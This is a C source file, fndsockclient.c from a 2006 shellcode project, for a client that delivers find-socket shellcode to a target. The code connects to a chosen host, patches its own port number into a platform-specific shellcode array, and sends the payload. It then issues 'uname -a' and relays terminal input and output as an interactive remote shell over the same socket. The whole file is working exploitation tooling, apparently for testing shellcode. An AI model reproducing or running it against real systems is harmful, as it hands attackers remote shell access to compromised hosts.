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fndsockclient.c
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fndsockclient.c
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/*
* fndsockclient.c
* Copyright 2006 Ramon de Carvalho Valle <ramon@risesecurity.org>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/select.h>
#include <unistd.h>
#include <errno.h>
#if defined(_AIX)
#include "aix-power-fndsockcode.c"
#elif defined(__bsd__) && defined(__i386__)
#include "bsd-x86-fndsockcode.c"
#elif defined(__linux__) && defined(__powerpc64__)
#include "lin-power-fndsockcode64.c"
#elif defined(__linux__) && defined(__powerpc__)
#include "lin-power-fndsockcode.c"
#elif defined(__linux__) && defined(__i386__)
#include "lin-x86-fndsockcode.c"
#elif defined(__osx__) && defined(__i386__)
#include "osx-x86-fndsockcode.c"
#elif defined(__solaris__) && defined(__i386__)
#include "sol-x86-fndsockcode.c"
#else
#error "Unsupported operating system and/or architecture."
#endif
int
hexdump(char *buf, int len)
{
int i, j;
for (i=0; i<len; i++) {
for (j=0; j<16; j++) {
if (i+j >= len)
printf("%3s","");
else
printf("%02x ", (unsigned char)buf[i+j]);
}
printf("%3s","");
for (j=0; j<16; j++) {
if (i+j >= len)
printf("%1s","");
else
if (buf[i+j]>'\x1f' && buf[i+j]<'\x7f')
printf("%c", buf[i+j]);
else
printf(".");
}
i += 15;
printf("\n");
}
return 0;
}
int
main(int argc, char **argv)
{
char *addr = "0.0.0.0";
int port = 1234;
int c, s;
int debug = 0, verbose = 0;
struct sockaddr_in sin;
struct hostent *he;
socklen_t sin_len = sizeof(sin);
int count;
while ((c = getopt(argc, argv, "a:dp:v")) != -1) {
switch (c) {
case 'a':
addr = optarg;
break;
case 'd':
debug = 1;
break;
case 'p':
port = atoi(optarg);
break;
case 'v':
verbose = 1;
}
}
if (debug || verbose)
printf("using %s:%d\n", addr, port);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
if ((sin.sin_addr.s_addr = inet_addr(addr)) == -1) {
if ((he = gethostbyname(addr)) == NULL) {
errno = EADDRNOTAVAIL;
perror("gethostbyname");
exit(EXIT_FAILURE);
}
memcpy(&sin.sin_addr.s_addr, he->h_addr, 4);
}
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
perror("connect");
exit(EXIT_FAILURE);
}
if (debug || verbose)
printf("connected to %s:%d\n", addr, port);
if (getsockname(s, (struct sockaddr *)&sin, &sin_len)) {
perror("getsockname");
exit(EXIT_FAILURE);
}
#if defined(__LP64__)
fndsockcode64[FNDSOCKPORT] = (unsigned char)((ntohs(sin.sin_port)>>8)&0xff);
fndsockcode64[FNDSOCKPORT+1] = (unsigned char)(ntohs(sin.sin_port)&0xff);
if ((count = send(s, fndsockcode64, sizeof(fndsockcode64)-1, 0)) == -1) {
perror("send");
exit(EXIT_FAILURE);
}
if (debug)
hexdump(fndsockcode64, sizeof(fndsockcode64)-1);
#else
fndsockcode[FNDSOCKPORT] = (unsigned char)((ntohs(sin.sin_port)>>8)&0xff);
fndsockcode[FNDSOCKPORT+1] = (unsigned char)(ntohs(sin.sin_port)&0xff);
if ((count = send(s, fndsockcode, sizeof(fndsockcode)-1, 0)) == -1) {
perror("send");
exit(EXIT_FAILURE);
}
if (debug)
hexdump(fndsockcode, sizeof(fndsockcode)-1);
#endif
if (debug || verbose)
printf("%d bytes sent\n", count);
sleep(4);
write(s, "uname -a\n", 9);
while (1) {
fd_set fds;
int count;
char buf[1024];
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(s, &fds);
if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) == -1) {
if (errno == EINTR)
continue;
perror("select");
exit(EXIT_FAILURE);
}
if (FD_ISSET(0, &fds)) {
if ((count = read(0, buf, sizeof(buf))) < 1) {
if (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK)
continue;
else
break;
}
write(s, buf, count);
}
if (FD_ISSET(s, &fds)) {
if ((count = read(s, buf, sizeof(buf))) < 1) {
if (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK)
continue;
else
break;
}
write(1, buf, count);
}
}
exit(EXIT_SUCCESS);
}